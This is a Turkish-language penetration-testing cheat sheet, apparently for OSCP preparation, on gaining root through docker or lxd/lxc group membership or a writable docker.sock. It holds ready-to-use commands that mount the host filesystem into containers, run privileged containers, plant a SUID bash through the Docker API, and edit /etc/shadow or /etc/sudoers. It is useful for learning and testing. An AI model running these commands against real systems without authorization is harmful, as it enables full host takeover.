FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

Docker / LXD-LXC Group ve docker.sock ile Privilege Escalation

Kullanıcı docker veya lxd/lxc grubundaysa, ya da yazılabilir bir /var/run/docker.sock varsa, host filesystem'ini bir konteynere mount ederek veya privileged konteyner çalıştırarak root'a yükselirsin.

Bilgi: ÖN KOŞULLAR
  • id çıktısında docker, lxd veya lxc grup üyeliği
  • VEYA okunabilir/yazılabilir /var/run/docker.sock
  • Hedefte docker/lxd binary ve çalışan daemon (veya socket erişimi)
┌──

Komutlar

id ✓ EXAM-SAFE user
id; groups; getent group docker lxd lxc
Hangi gruplardasın? docker/lxd/lxc üyeliği doğrudan root yoludur. HackTricks — Interesting Groups - Linux PrivEsc
ls ✓ EXAM-SAFE user
ls -la /var/run/docker.sock; docker version
docker.sock yazılabilir mi ve daemon erişilebilir mi kontrol et. HackTricks — Docker Breakout / Privilege Escalation
docker ✓ EXAM-SAFE user
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Host kökünü /mnt'e mount et, chroot ile host root shell. En temiz docker-group escape. GTFOBins: docker; HackTricks — Docker Breakout
docker ✓ EXAM-SAFE user
docker images; docker run -v /:/mnt --rm -it <local_image> chroot /mnt sh
İnternet yoksa hedefte hazır bulunan bir image'i kullan (alpine/ubuntu çekemiyorsan). HackTricks — Docker Breakout / Privilege Escalation
docker ✓ EXAM-SAFE user
docker run --rm -it --privileged --net=host --pid=host -v /:/host alpine chroot /host sh
Privileged konteyner + host namespace'leri; tam host erişimi. HackTricks — Docker Breakout / Privilege Escalation
curl ✓ EXAM-SAFE user
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
docker binary yoksa ama socket yazılabilirse, Docker API'sini doğrudan REST ile kullan; önce image listele. HackTricks — Docker Breakout (docker.sock via API)
curl ✓ EXAM-SAFE user
curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["chroot","/host","sh","-c","cp /bin/bash /host/tmp/bash; chmod +s /host/tmp/bash"],"Binds":["/:/host"]}' http://localhost/containers/create
API üzerinden host kökü mount eden konteyner oluştur, sonra /containers/<id>/start ile başlat ve /tmp/bash -p ile root al. HackTricks — Docker Breakout (Exposed docker.sock)
lxc ✓ EXAM-SAFE user
lxd init --auto; lxc image import ./alpine.tar.gz --alias myimage
lxd/lxc grubu: önce küçük Alpine image build edip hedefe at, init ve import et. HackTricks — lxd/lxc Group Privilege Escalation
lxc ✓ EXAM-SAFE user
lxc init myimage privesc -c security.privileged=true; lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true; lxc start privesc; lxc exec privesc /bin/sh
Privileged container'ı host kökünü /mnt/root'a mount edecek şekilde başlat; içeride /mnt/root host root filesystem'idir. HackTricks — lxd/lxc Group Privilege Escalation; TJnull PWK guide
build-lxd-image ✓ EXAM-SAFE user
git clone https://github.com/saghul/lxd-alpine-builder.git; cd lxd-alpine-builder; sudo ./build-alpine
Saldırgan makinesinde minimal Alpine LXD image üret (lxc import için .tar.gz). saghul/lxd-alpine-builder; HackTricks — lxd Group

Tespit (Enumeration)

İlk iş id çıktısına bakmaktır. Eğer çıktıda docker, lxd veya lxc grubu görüyorsan, bu pratikte root’a eşdeğerdir — bu gruplar host filesystem’ini bir konteynere mount etme yeteneği verir. Grup üyeliği yoksa, ls -la /var/run/docker.sock ile socket’in dünya-yazılabilir (veya senin grubun tarafından yazılabilir) olup olmadığını kontrol et. Yazılabilir bir docker.sock, docker grubunda olmasan bile aynı sonucu verir.

LinPEAS bu kontrolleri otomatik yapar ama elle doğrulamak şart: docker version daemon’a ulaşabildiğini, docker images ise internet olmadan kullanabileceğin lokal image’leri gösterir.

Docker Group → Host Root

Mantık basit: konteyner içindeki root, host’taki root ile (user namespace remap yoksa) aynı UID 0’dır. Host kökünü (/) konteyner içine bind-mount edip chroot yaparsan, host dosya sistemine root olarak yazarsın.

  • docker run -v /:/mnt ... chroot /mnt sh en sade yöntemdir; /etc/shadow’u düzenleyebilir, /etc/sudoers’a satır ekleyebilir veya bir SUID bash bırakabilirsin.
  • İnternet yoksa alpine çekemezsin; docker images ile hedefte zaten var olan bir image kullan.
  • --privileged --net=host --pid=host bayraklarıyla daha agresif bir kaçış da mümkün ama mount yöntemi OSCP’de en güvenilir olanıdır.

docker.sock (binary yoksa)

Hedefte docker binary’si yoksa ama yazılabilir socket varsa, Docker REST API’sini curl --unix-socket ile doğrudan konuşursun. Akış: image listele → host kökü Binds ile mount eden bir konteyner create et → start et → çıktısını logs ile al. Konteyner komutu olarak host’a SUID bash bırakmak (chmod +s) en pratiğidir; sonra host’ta /tmp/bash -p ile root.

LXD / LXC Group

lxd/lxc grubundaysan akış üç adımdır:

  1. Saldırgan makinende minimal Alpine LXD image üret (lxd-alpine-builder), oluşan .tar.gz’i hedefe transfer et.
  2. Hedefte lxc image import ile içeri al, lxd init --auto ile storage hazırla.
  3. security.privileged=true ile container init et ve lxc config device add ... source=/ ... recursive=true ile host kökünü container içine mount et. Container’a lxc exec ... /bin/sh ile girdiğinde /mnt/root altında host’un tüm dosya sistemi root yetkisiyle önündedir.

Notlar / Gotchas

  • User namespace remapping aktifse (/etc/docker/daemon.json içinde userns-remap), konteyner root’u host’ta unprivileged UID’e map’lenir ve mount yöntemi root vermez. OSCP lab’larında nadirdir.
  • lxd init bazı sürümlerde interaktif sorar; --auto bayrağı bunu atlatır. Eski sürümlerde lxc yerine lxd.lxc çağrısı gerekebilir.
  • Image import için disk alanı ve /tmp yazma izni gerekir; transferi python3 -m http.server + wget ile yap.
  • Bu teknikler exploit değil yanlış yapılandırma istismarıdır; OSCP’de tamamen safe sayılır, Metasploit kısıtı uygulanmaz.
┌──

Kaynaklar

0/15 set